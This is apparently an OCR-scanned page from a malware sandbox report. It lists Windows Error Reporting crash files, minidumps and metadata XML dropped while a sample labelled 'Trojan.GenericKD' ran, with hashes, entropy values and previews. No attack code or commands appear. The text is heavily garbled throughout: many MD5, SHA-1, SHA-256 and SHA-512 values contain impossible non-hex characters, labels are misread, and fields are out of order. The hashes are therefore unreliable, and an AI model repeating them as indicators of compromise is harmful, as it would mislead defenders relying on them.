SHA-512: 00A9DCE9825970BCABAD2D096D16AE84041199FCFA30CAAEE3C1CCC25D295C1053BD68DFCAESESE7ABEA7TADD40BDA35BAE9OF6DEB3AF531D6F55C669DF2,
E96F

Malicious: false

Reputation: low

Preview:

.V.ersion=1..Eve.ntTyp.e=APP.CRASH...EventTim.e=13.2585.7.7.02.8.7.0.3.2.6.6.0.....R.e.p.ortTy.p.e=2...C.o.ns.ent=1..R.e.p.ortld.
e.ntifier=b.d.0.7.8.9.5d.-59.ae.-4.3.7.5.-.b.4.2.a.-.3.4.1.b.6.3.1.8.2.0.2f....IL.nt.e.grato.r.R.e.p.ortlde.n.tifier=39323.3.d.7.0.-589.3.-4.e.13.-99.c.3.-
.3.0.9.3.2.a.24.3.7.8.2....\W.0.w.6.4.H.0.5.t.=.3.4.4.0.4....W.0.w.6.4.G.u.e.s.t.=.3.3.2....N.s.A.p.p.N.am.e.=.S.e.c.ur.ite.lnfo..com.Trojan..GenericKD.Z..
7.3.1.2.4..1.9.1.7.0...e.x.e....A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t. A.p.p.l.d.=.W...0.0.0.6.a.f.4.4.1.b.2.
a.e.c.3.9.6.5.a.6.c.h.d.1.h.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.1.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.£.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c..S.e.c.u.r.ite.l.nf.
0...c.o.m..T.r.oj.a.n..G.enericKD.Z.73124..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuritelInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_ bd6d4f40_1673c
8ca\Report.wer

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 13162

Entropy (8bit): 3.767793023771291

Encrypted: false

SSDEEP: 96:gmFs+gQ2zwdTDJ23fspX1QcQnc6rCcEhcw3rr+HbHg/8BRTf30yloVazWhSmféqn:3FKQB1H56rgjuSKU7S/u7shS2741tAl
MDS5: 6FC7852F174B3EC9C45ACB4F419425B2

SHA1L: 164E09F63C1D579954BB38DF69519EA5DD995539

SHA-256: D469C87E0967108F27517636E541149FB0982D442F40CA7TELFF27F91666E4316

SHA-512: 54759A6EF9C7B1A24A9F8CCOFDBF249C7C51EFACD474EB1035D511B3D8C139B8989F255CA0D4778A70E93B341405F80F2C69C07823B68CB1A1659C521E0B466
Malicious: false

Reputation: low

Preview:

.V.ersion=1..Eve.ntTyp.e=APPCRASH...EventTim.e=13.2585.7.7.0.119.0.6.4.752...Rep.ortTy.p.e=2...C.ons.ent=1..Re.p.ortld
e.ntifier=9f7a.c.ce3.-430e.-4.4db.-ab7.7-27d51d.9.b.3.4a7...lntegratorR.ep.ortldentifier=244.0.9.c7.2.-da4.7.-4.ae.c-8451-33.
3.f.d.7.8.5.1.fb.f...W.0.w.6.4.H.0.5.t.=.3.4.4.0.4....W.0.w.6.4.G.u.e.s.t.=3.3.2....N.s.A.p.p.N.am.e.=S.e.c.ur.ite.ln.fo..com..Trojan..GenericKD.Z.73124.
.1.9.1.7.0..ex.e....A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.ar.g.e.t. A.p.p..d.=W...0.0.0.6.a.f.4.4.1.b.2.a.e.c.3.9.
6.5.a.6.c.b.d.1.b.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.1.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.f.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c...S.e.c.u.rite.l.n.f.o..c.om..T.r.o,.
a.n..G.enericKD.Z..7.3.1.24..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuritelInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229 bd6d4f40_18fb0
3b5\Report.wer

Process: C:\Windows\SysWOW64\WerFault.exe
File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators
Category: dropped
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C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229 bd6d4f40_18fb0
3b5\Report.wer

Size (bytes): 12040

Entropy (8bit): 3.7684228214343443

Encrypted: false

SSDEEP: 96:8r+gQSzwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf30yloVazWhSmf6gXiM:mQI1H56rgjuSKUZ/u7sCS2741tA0

MDS5: 21A2254861AAF829D7A5F7DA99A4TESS

SHA1L: D28ABAC18E06AC71890579D790B15EBB87A8F2D2

SHA-256: 715BEF7755DFOBBC3AD1E072791EE2243ADA504712D5DAB2B0036FB03C089982

SHA-512: 4E9D0C43DB6C5A8FAI39A7ESF3F4ADCI06F3B60C529B63906AF90CBEEGEBFI27ELFAIE73EAS73598655726582E374D29ECCES8C86648B7645277FB34DA7BAODF
2

Malicious: false

Reputation: low

Preview:

.V.ersion=1..Eve.ntTyp.e=APP.CRASH...EventTim.e=13.2585.7.6.9.6.53.9.10.7.3.3...Rep.ortTy.p.e=2...Co.ns.ent=1..R.e.p.ortld
e.ntifier=e3.7.ab.3.a.d.-50e5.-4dd8.-a.0.a..-b.0.1.eb.b.2.d4.6.0.c..lntegratorR.ep.o.rtlden.tifier=8b4.6.084.7.-6.b1.2.-49b.0.-a.eb.c.-
.a.7.c4fe.a.0.c.2.2.0...W.o.w.6.4.H.0.5.t.=.3.4.4.04...W.0w.6.4.G.u.e.s.t.=3.3.2....N.s.Ap.p.N.am.e=S.e.c.u.r.iteln.fo..com..Trojan..G.e.n.ericKD.Z..
7.3.1.2.4..1.9.1.7.0...e.x.e....A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t. A.p.p.l.d.=W...0.0.0.6.a.f.4.4.1.b.2.
a.e.c.3.9.6.5.a.6.c.h.d.1.h.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.1.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.£.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c...S.e.c.u.r.ite.l.nf.
0...c.o.m..T.r.oj.a.n..G.ene.ricKD.Z.73124..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuritelInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229 bd6d4f40_195b8
ccb\Report.wer

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 13070

Entropy (8bit): 3.7671893485726318

Encrypted: false

SSDEEP: 96:giEP+gQYzwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf30yloVazWhSmf6gc:OQv1H56rgjuSKU7b/u7shS2741tAA

MD5: 87ED9ADE24DD4F6D397941E969ACF337

SHAL: 52D3934D90E463DD5E044AD93FB7B3A8C7BC58BA

SHA-256: B216B60B8F8C50D85C2C52019C61A7959EC24B9BDOADI1A9BABC2FICCH6BEN999

SHA-512: 51EBFFB6EE739D345A757B1F8A6AA87032AC14651C78E017AC68AA5C68FA3E6D34EADEBD86512007A331BB3DODEF6D6017AB4B62C5FA6FE7FCD82D274E09B
C70

Malicious: false

Reputation: low

Preview:

.V.ersion=1..Eve.ntTyp.e=APP.CRASH...EventTim.e=13.25857.6.9954.37.8.0.2.7....Rep.ortTy.p.e=2...Co.ns.ent=1..Re.p.o.rtld
e.ntifier=b.1.1.2.0.8.d.6.-.1.af9.-4.b.ee.-9.a.0..-.6.f7.0.9.d.1.0.3.0.8.1....l.n.t.e.g.rato.r.R.ep.ortldentifier=76.4.c13309.-fe.8.e.-4.04.2.-9b.0.3.-4.b.
c.2.b.5.1.d.4.8.2.1....W.0.w.6.4.H.0.5.t.=.3.4.4.0.4....W.0.w.6.4.G.u.e.s.t.=.3.3.2....N.s.A.p.p.N.am.e.=.S.e.c.ur.ite.ln.fo..com..Trojan..GenericKD.Z.
7.3.1.2.4..1.9.1.7.0...e.x.e....A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t A.p.p.l.d.=.W...0.0.0.6.a.f.4.4.1.b.2.
a.e.c.3.9.6.5.a.6.c.h.d.1.h.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.1.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.£.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c..S.e.c.u.r.ite.l.nf.
0...c.o.m..T.r.oj.a.n..G.enericKD.Z.73124..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuritelInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229 bd6d4f40_196b5
8le\Report.wer

Process: C:\Windows\SysWOW64\WerFault.exe

File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators

Category: dropped

Size (bytes): 12452

Entropy (8bit): 3.771067344673782

Encrypted: false

SSDEEP: 96:CkgJLs+gQozwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf30yloVazWhSmfu:rgJ+Qf1H56rgjuSKUr/u7sCS274I1tAd9

MDS5: 7D59F18DCD326C7F86ED8535D8E2084C

SHA1L: 8302C4FA2524EDF3E061B38761850FCECFCASECA

SHA-256: 83D3BF95861C4FBFA37ED133EDEOOA23BB5D5A2FE76042910104F733FF66B5B4

SHA-512: EE775DF6COF1D39C25F19BCE89A512129B4AA9ABEDSDCIBBEFAF1629292A5C6F64E6B7A31FB75B237DESBC54EE244CE00C48C28054E176AF75FC6175A408DA!
70

Malicious: false

Preview:

.V.ersion=1..Eve.ntTyp.e=APP.CRASH...EventTim.e=13.2585.7.6.9.85.7.0.34.7.83....Rep.ortTy.p.e=2..C.o.ns.ent=1..Re.p.o.rtld
e.ntifier=4d.6.3.af29.-9ab.f-4b.c2.-8458.-34.1d4b.69.ca3.e..lntegratorReportldentifier=d2e53b.6.d-5.e.9.7.-4f3.0.-.84.ab.-9.9.
e.0.7.b.b.6..0.1.9....W.0.w.6.4.H.0.5.t.=.3.4.4.0.4....W.0.w.6.4.G.u.e.s.t.=.3.3.2....N.s.App.p.N.am.e.=S.e.curite.l.nfo..com..Tr.ojan..G.enericKD.Z..
7.3.1.2.4..1.9.1.7.0...e.x.e....A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t. A.p.p.l.d.=W...0.0.0.6.a.f.4.4.1.b.2.
a.e.c.3.9.6.5.a.6.c.h.d.1.h.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.1.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.£.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c..S.e.c.u.r.ite.l.nf.
0...c.o.m..T.r.oj.a.n..G.ene.ricKD.Z.73124..

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_bd6d4f40_1a772
140\Report.wer

Process: C:\Windows\SysWOW64\WerFault.exe
File Type: Little-endian UTF-16 Unicode text, with CRLF line terminators
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C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_SecuriteInfo.com_ed254a492c4061ee93311a4cb68fc7f99a8fd229_ bd6d4f40_1a772

140\Report.wer

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

dropped

12142

3.7697345759440033

false
96:p0t++gQozwdTDJ23fspXIQcQnc6rCcEhcw3rr+HbHg/8BRTf30yloVazWbSmf6qq:KYQf1H56rgjuSKUU/u7sCS2741tAq
B86E575FCDDD66655339295EAD4E37F8

17A44E0D4A46B60280D4B47D2703F089BD2A373A
B5F597510AB5A4BEFF5FC93248082F46D5FCBF3461FASE00A6999CDF948A4273

C61B75AF6B2F3EC7C33D1FECB6774D9B4852406COAO080DEGA721F6AEE1B17A2C93A5DBB5EB96D40AD6D3BD06256F63341506329426F23500DFB6CB021C107E
E

false

.V.ersion=1..Eve.ntTyp.e=APP.CRASH...EventTim.e=13.2585.7.6.9.7.2953526.9...Rep.ortTy.p.e=2..C.o.ns.ent=1..Re.p.ortld.
e.ntifier=b.38.5d.a4.a-.c.3.8a-4f8.d.-8.6.54.-.d.24.3.3.3.4.6.3.a.938....L.nte.gratorReportlden.tifier=26.e097.d.9.9.-eb.7.4.-41d.c.-8.7.ee.-
.e.85.3.c.6.1.0.a.1.9.7.... W.o.w.6.4.H.0.5.t.=.3.4.4.0.4.... W.0.w.6.4.G.u.e.s.t.=3.3.2....N.s.Ap.p.N.am.e.=S.e.cu.r.ite.ln.fo..com..T.r.ojan..G.e.n.e.ricKD.Z.
7.3.1.2.4..1.9.1.7.0...e.x.e....A.p.p.S.e.s.s.i.0.n.G.u.i.d.=.0.0.0.0.1.b.e.4.-.0.0.0.1.-.0.0.1.7.-.d.b.7.9.-.0.e.0.a.0.e.0.a.d.7.0.1.....T.a.r.g.e.t A.p.p.l.d.=.W...0.0.0.6.a.f.4.4.1.b.2.
a.e.c.3.9.6.5.a.6.c.h.d.1.h.3.6.9.a.6.1.3.c.c.a.5.0.0.0.0.0.9.0.4.1.0.0.0.0.e.1.6.b.e.2.0.4.4.b.7.3.b.£.b.7.1.7.d.9.2.d.1.3.9.6.8.e.a.c.4.7.3.d.6.4.b.8.f.c..S.e.c.u.r.ite.l.nf.
0...c.0o.m..T.r.oj.a.n..G.enericKD.Z.73124..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER13C2.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 15 streams, Tue Feb 23 18:02:54 2021, 0x1205a4 type

dropped

92726

2.306358691527937

false
384:ad97Ydy6UEKZzU9160KuOs+s1GfasW/xpCS9iUOIssh0aVOIKKZXmuG:07YABUEKC16/Ls+sUfav/thiZzmuG
C4B8CC4152E1034336C1A87B8CD858BF

70239C2D63FD458F20329739DBDD2FBOBCC21D20
86C0410403AE6D24D30C25BB1AC5A2530EASEC5211E756913F75544C1062B18F
F514EAD34E8BOED98ABD533F29CF1ECC1920C4C4E4812C306362F85E4217650F1CBE834BAD20151B459F8A1280AB12E27C216D4677BB6D1E9A45CD7A9008E0!

0020 Paaccificc. Sitandaard. .Tim.e..
..rs4d._releas.e.180410.-18.04.  ...cccccrrrnnn.

.P.ac.fic. .Day.lig.ht Tim.e

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1A6B.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8442

3.7031037386976613

false
192:Rrl7r3GLNiFD6Iwfg6YJIDSUbMOgmfm8MSjCpBy89balsfXem:RrIsNix6lwC6YdSUbMOgmfmdSyaOf3
EDOCAFF2343B371DE80B69FODB131BE1

CEAA758B0C942E98961FC604AEDD072CAC15670B
E918E0C9A8FC61E3D637A3EBF97F10C67266CA4ALFFEB6B3D5DA4ECI90ESEISF

9B6055476CBOF5EC1FB48262A4A553E7CF3DDBIEOSOE99C1CBEC6A5549C11C8001E4D2D58AA464486D62E41694899CD407F7114BO6FEEA74EOESSEDCB6G5A62!
0

false

.<?x.ml wvers.io.nz="1.0" enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.nlnformation>....<W.n.d.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./W..n.d.ow.s.N.T.V.e.rs.i.o.n>.......<B.wu.ild>17.1.34</Bu.ild>.....<Pro.du.c.t>(.0x3.0).;. . Win.d.ow.s. .1.0. .P.r.o.
</.Prod.u.ct>.....<Ed.ition>Profess.ional</Ed.ition>....<BuildString>17134.1.amd6.4fre.rs4._.re.leas.e..18.04.1.0.-18.0.4.
<./.B.u.ild.S.trin.g.> .<.R.ew.is.ion>1l</Rewvision>....<Flavor>Multipro.cess.or. Free</F.lav.or>....<Architecture>X6.4.</
Ar.chitecture>.....<LClD.>1.0.3.3</LC.lD>....</0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.id>714.0</P.i
d>......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D88.tmp.xml

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

Copyright null 2021

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators
dropped

4746

4.548556663770047

false
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER1D88.tmp.xml

SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

48:cviwSD8zsnJgtWI9kwhWSC8BOe8fm8M4JTSFy8s+q8D5UKUUvpd:ul TIIF TSNAbJd8sIKUUvpd
1F9D029AF3BBEBA3ADA4938BA7070F8C
F7AFE325FBOFE85B2F7A412BOFFC10216CC6ACCT
1D3AC9ACT74EB13C90239509287D8E63A218B71F89AA2ATF62AA73FE30ADIFSEL

1C8A67588A2AB7D7910D9556B365DA698B5551D9CDB6083C3C252DFA17559CBEAC28D769963B1BF792BCA08CD66CBD91CDD52B2F6EG9A02CDE418476C3EEE
FD

false

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>.. <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
I>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
I>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874273" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-1
1.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4590.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 15 streams, Tue Feb 23 18:03:07 2021, 0x1205a4 type

dropped

94070

2.196794118647256

false
384:sksBZy8auQL6AzU9160KBOs+s1GIuUNHNN4IdOh4KuKm9g0oV2foXS2fLNO5SWI:sMtuQB6AC16/Ys+sU9uNHnee WKuKmX0oU
1931AB5AFC2006815A9A06D9E346D176

0218384710BAEDCD884838B350D987B2C6A80A36
C7C8919F531001E790062AB93BEF9D07E44555D651CEAC8C267955C7432D91F4

DFD941D8B45E32A2031022EAC5AF55AD30F01A82F72A4FBBOA333ED931ED883F859B9D8B6B044525635CD6A3EF57EDSEOE1IAE9OE808364DD0439B70532BA32:
3

false

MDMP....... ....... [C5 s Ui B....8 ... GenuinelntelW........... T 0C5 ..o 00.20 e Paaciifice. Sitaind.ard. .Tim.e s
.1.7.1.34..1..x8.6.fre..rs4._releas.e.18.04.10.-18.04

............................................................................................... d.b.9.€.0.1.€...1.3.8.6.,.1.0...0... 1.7.1.3. 4. Lo

C:\ProgramData\Microsoft\Windows\WER\Temp\WER4F27.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8442

3.702134587176062

false
192:Rrl7r3GLNIFC617Y6YJ6SUIMUgMfM8MSjCpB989bC1sfYgIhWm:RrIsNiQ617Y6YkSUIMUgmfmdSDCOfYw
0250467FEE0A7614137C8C1BDF780C1B

66E5E58474762895F69E0D7186D1BD4B7CFOD2FE
EABFEBED2C2438DC674429C693C6042DB5D947037B9606B0116B5574BD1F2F2B
E7839933407C7F7541B0A7778EF26E9DOB7E28754A64F1F548675104E796CFD5781E079B08F7342E76E2A4AAC426A5398410CD3297CBCC25A32C10D08C38A4AE

false

.<?x.ml wvers.ion="1..0" .enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.n.lnformation>....<W..nd.
o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./W.i.n.d.ow.s.N.T.V.e.rs.i.o.n>.......<B.wu.ild>17.1.34</Bu.ild>.....<Pro.du.c.t>(0x3.0.).;. . W.in.d.ow.s. .1.0. .P.r.o.
</.Prod.u.ct>.....<Ed.itio.n>Profess.ional</Ed.ition>....<B.uildString>17134.1.amd6.4fre.rs4._.re.leas.e..18.04.1.0.-18.0.4.
<./.B.u.ild.S.trin.g.> .<.R.ewis.ion>1l</Rewvision>....<Flavor>Multipro.cess.or. Free</Flav.or>....<Architecture>X6.4.</
Ar.ch.itecture>.....<LClD.>1.0.3.3</LC.lD>....</0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.id>714.0</P.i
d>......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER52E1.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Copyright null 2021

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4746

4.548669564458655

false
48:cviwSD8zsnJgtWI9kwhWSC8By8fm8M4JTSFuY+q8D5UKUUvpd:ul TFIFTSNXxJIXYIKUUvpd
CAAA0807FF026C4CB1EE1B15C97A95AC
OFC1A89E9DEFB3928FCFAF4F82AC3CA8F240B247
B0783F59078090DBB443F7BD5FDE6FIC866DD2CD8EOD93568B50C8D8ADA38132
8DCBA7872D4040D994BD447DBFIC57F32147AF0CA7B340C2BFAOEA6DOACBD540D1EE81B52B8FOE980E247998FD13034613701A5C11A7718D26E0B302847C6B!
B
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER52E1.tmp.xml

Malicious:

Preview:

false

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
/>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="[cid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
/>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874273" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-1
1.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6B97.tmp.dmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

Mini DuMP crash report, 15 streams, Tue Feb 23 18:03:19 2021, 0x1205a4 type

dropped

105360

2.2223802296415367

false
384:LAKI9C+LuJCDOArU9160KBOL+IRGS6iH6SUgtkwBe6JFjspb9:MX9CjJAval6/YL+IwS6iHfpe6/4v
9AAB3EACB2A306F14E8881FF1EEEC687

ED396721488AB84621A472FBE8142EDF309E65D5
AB867DB47141E99998061AACC8FC44CBD36254D20CF7F8CCO8CEBC111768C7C72
FACC30A05446379455056B4CA07FBD0B228E365467C5A8EESABE06E2434899C2C76C4DOCECF2908A55A1A7326416D586BF140CE1EB8659D9E7E2F4B552966EE

false

MDMP....... ....... gC5 e Ui B....... "......GenuinelntelW........... T 0C5 .. 0020 Paaciifice. Sitaind.ard. .Tim.e s
.1.7.1.34..1..x8.6.fre..rs4._releas.e..18.04.10.-18.04

............................................................................................... d.b.9.€.0.1.€...1.3.8.6.,.1.0...0... 1.7.1.3. 4. Lo

C:\ProgramData\Microsoft\Windows\WER\Temp\WER83D3.tmp.WERInternalMetadata.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators

dropped

8446

3.6989715673479453

false

192:Rrl7r3GLNiFM610l6 Y JuSUKkMjRgmfm8MSjCpBK89bh1sfirm:RrIsNie6lol6YgSUkM1gmfmdSqhOfn
039COE3F29F97A28077FC30CBA939CB3

F463B43B3AEEEEDBEOFBBC904FDO0B8B91BDFF70
B8E9018DE4F7CCA5COAAGF4D483BF5B31E4B865347515969AAE69F46766CBCO8
79FOEOF842A16C722A406294B9300A2E1B345BFCB76A04D49B35DCD797D44287DF716DA4080114F69E7EA7B1E6FBA22CASCE143463B016EA4DO095E7D070D20

false

.<?x.m.l wvers.ionz="1..0" enc.o.ding="UTF.-16."?2>..<W.E.RR.ep.ortMetadata>...<0.SV.ers.io.nlnformation>....<W..nd.
o.w.s.N.T.V.e.r.s.i.0.n.>.1.0...0.<./W..n.d.ow.s.N.T.V.e.rs.i.o.n>.......<B.wu.ild.>17.1.34.</Bu.ild>.....<Pro.du.c.t>(0x3.0)... . W.in.d.ow.s. .1.0. .P.r.o.
</.Prod.u.ct>.....<Ed.ition>Profess.ional</Ed.ition>....<BuildString>17134.1.amd6.4fre.rs4._re.leas.e..18.04.10.-18.0.4.
<./.B.u.ild.S.trin.g.> .<.R.ew.is.ion>1l</Rewvision>....<Flavor>Multipro.cess.or. Free</F.lav.or>....<Architecture>X6.4.</
Ar.chitecture>.....<LClD.>1.0.3.3</LC.lD>....</l0.SV.ers.io.n.lnformatio.n>...<Pro.cess.lnformation>....<P.id>714.0</P.i
d>......

C:\ProgramData\Microsoft\Windows\WER\Temp\WER877D.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2021

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4746

4.548998820806625

false
48:cviwSD8zseJgtWI9kwhWSC8B68fm8M4JTSFI+q8D5UKUUvpd:ul TFUFTSNXxJulKUUvpd
3929A40D89D353CB80DF8B5B67930B0A
D67F5DAAO0BAOF4E1CF7B2E93EF4FA9CBB1EA376E
02EADDB5DB2BB6AFA475D48EE3BC7A6E81D74CF3692C0A3ECIE0038B730E9ECA

6AA7794CDES6E6F618E330C01FFCAS5A324FBDA197EB771FCE1ICA4999A9B85E4B7AC747750DAAE151AD036AD7FEF71F3C72E079DD64B84216F664873BD16DE
B3

false

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tim>.. <src>..  <desc>.. <mach>.. <0s>.. <arg nm="vermaj" val="10"
/>.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="17134" />.. <arg nm="vercsdbld" val="1" />.. <arg nm="vergfe" val="1" />..

<arg nm="csdbld" val="1" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="1033" />.. <arg nm="geoid"
val="244" |>.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1"
/>.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="874274" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.1.17134.0-1
1.0.47" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="4096" />..
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C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A.tmp.xml

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Windows\SysWOW64\WerFault.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

4746

4.547204226967888

false
